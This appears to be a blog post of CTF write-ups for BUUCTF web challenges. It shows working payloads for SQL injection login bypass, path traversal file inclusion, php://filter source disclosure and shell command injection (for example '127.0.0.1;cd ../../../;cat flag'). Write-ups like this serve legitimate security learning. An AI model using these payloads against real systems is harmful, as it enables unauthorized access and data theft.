当前位置:网站首页>BUUCTF Notes (web)
BUUCTF Notes (web)
2022-08-10 06:35:00 【Qing, Jiu Gu Huan ゞ】
一、[极客大挑战 2019]EasySQL1
Once in let's log in to the website,

尝试一下,

可以看到是get型,直接尝试绕过,
?username=admin' or '1'='1&password=123' or '1'='1
' to close the originalsqlThe sentence thus constitutes a universal sentence.
二、[HCTF 2018]WarmUp1
给了个图片,我们f12或ctrl+u可以看到有个source.php隐藏部分

所以我们在url后面加上 /source.php
Then there is the code audit.
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
//白名单列表
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//判断是否为字符串,If not, return an error
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//第一次判断:Compare the value you pass in with the ones in the whitelist,Return true if there is
if (in_array($page, $whitelist)) {
return true;
}
//第一次过滤,只取第一个?前的字符串
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//Determine whether it is in the whitelist or not
if (in_array($_page, $whitelist)) {
return true;
}
//对page进行url编码,Then there are two judgments
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>first the following if 判断,如果fileThe passed parameter is not empty,为字符串,And the file inclusion can be performed through the above filters.
所以我们这里url后加上hint.php看看

提示我们在ffffllllaaaagggg文件中,然后我们在将url变成
/index.php?file=hint.php?../../../../../ffffllllaaaagggg/indexThe front part is your range address.(这里的index也可以换成hint或source,Just the original code will be displayed)
我们来分析一下,传入后,先对filevalue to judgefileThe string after that,It can be seen that it is not empty,字符串,Then pass this string to pageMake the above judgments.
刚开始是hint.php?../../../../../ffffllllaaaagggg,Then the first judgment was unsuccessful,Then filter down for the first time,过滤后_page值为hint.php,在白名单内,So the judgment is correct,执行文件包含,后面的那些../is used to access the file,Because I don't know which directory it is in, I try it one by one.
最后成功拿到flag

三、[极客大挑战 2019]Havefun1
这个很简单的,After entering, you can see that some code is hidden in the source code,

所以我们直接传递一个cat参数,Let its parameter value be dog

四、[ACTF2020 新生赛]Include1
When you go in, you see onetips,我们点击一下,可以看到url变了,and prompts us to include and with the filephp伪协议来完成.
file=php://filter/read=convert.base64-encode/resource=flag.php
然后去base64解密,

flag{ef7e62e5-5ed4-4f53-8c7c-fb80aaabf7cc}
If you don't understand, you can read these two articles
php伪协议(文件包含)_番茄酱料的博客-CSDN博客_php伪协议文件包含
[ACTF2020 新生赛]Include 1_wow小华的博客-CSDN博客
五、[ACTF2020 新生赛]Exec1
Clear command injection vulnerability
常见WEBAttack command injection - 简书 (jianshu.com)
命令注入_extremebingo的博客-CSDN博客_命令注入
直接输入127.0.0.1;ls,The preceding address is your own local address,后面的lsIs to traverse the directory to determineflag文件位置

没有什么东西,Let's look at the upper level,127.0.0.1;cd ../;ls ,这里的cd is to switch folders,ls遍历当前文件夹

一直到 127.0.0.1;cd ../../../;ls,我们看到了flag

然后127.0.0.1;cd ../../../;cat flag,Just output the content inside

边栏推荐
- C语言文件操作
- UnityShader入门精要-高级光照基础
- 强化学习_12_Datawhale深度确定性策略梯度
- Win32屏幕坐标转换Qt坐标
- 新手使用 go channel 需要注意的问题
- Can‘t find bundle for base name jdbc, locale zh_CN解决方法
- Analysis of minix_super_block.s_nzones of mkfs.minix.c
- The difference between initializing objects as null and empty objects in JS
- 交换机的功能和ipv4
- mysql数据库定时备份(保留近7天的备份)
猜你喜欢
随机推荐
关于研究鼠标绘制平滑曲线的阶段总结
Chapter 12 Other Database Tuning Strategies [2. Index and Tuning] [MySQL Advanced]
如何正确理解线程机制中常见的I/O模型,各自主要用来解决什么问题?
腾讯云宋翔:Kubernetes集群利用率提升实践
直接跳转与间接跳转
MySQL笔记
VS Code插件国际化
Mysql表数据在命令行窗口下中文乱码问题解决方法
order by injection and limit injection, and wide byte injection
强化学习_10_Datawhale稀疏奖励
Unity资源热更新--资源管理、Addressable
2022河南萌新联赛第(五)场:信息工程大学 J - AC自动机
一种奇怪的函数声明写法
强化学习_06_pytorch-DQN实践(CartPole-v0)
排序二叉树代码
不同场景如何使用动态代理?
Why do games need hot updates
第12章 数据库其它调优策略【2.索引及调优篇】【MySQL高级】
npm搭建私服,上传下载包
MySQL事务隔离级别









